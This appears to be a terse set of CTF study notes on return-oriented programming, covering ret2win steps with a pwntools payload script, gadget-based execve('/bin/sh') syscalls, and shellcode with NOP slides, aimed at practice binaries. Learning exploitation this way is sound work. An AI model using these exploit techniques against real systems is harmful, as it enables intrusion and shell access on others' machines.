ROP

Ret2Win

Really bad summary

  1. Get offset to override EIP

    1. Can be easily done with pwn.cyclic

  2. Get address of win function

    1. Depends whether ASLR is enabled, or else symbols from pwntools can do the trick

  3. Get a gadget via ROPgadget (usually ret)

    1. ROPgadget --binary x | grep ret

  4. Construct payload

    1. X amount of 'A's to override EIP

    2. addr_of_gadget (ret)

    3. addr_of_win

  5. send and win

Sample Code

from pwn import *

offset = 32 

binary = ELF("./EEEEEEEEEELMAOOOOOOOOOOOOO")
p  = binary.process()
win_addr = binary.symbols['win']
ret_addr = 0x000000000040101a

payload = b'A' * offset
payload += p64(ret_addr)
payload += p64(win_addr)

p.sendline(payload)
output = p.recvall()
print(output)

ROP chain with arguments

Visual Representation of the stack

Ret2SysCall

based on this article

Syscall Strings

  • x86 (int 0x80)

  • x86_64 (syscall)

Example : Calling execve with the use of syscalls to obtain a shell

For x64

  1. Get ROP gadgets and their addresses

    1. E.g ROPgadget --binary aasdasd | grep "pop rax; ret"

  2. Setting the registers to the appropriate value

    1. Extracted from here

    execve

    0x3b

    /bin/sh

    0

    0

  3. Crafting the exploit

Alternatively, if /bin/sh is not on the binary, we can use other functions such as read() and gets() to write to .bss

Ret2Libc

Ret2ShellCode

  • Length of shellcode must be below the offset to override EIP/RIP (40 in this case)

  • NOP/padding slide is used to ensure that the the execution is smooth

Last updated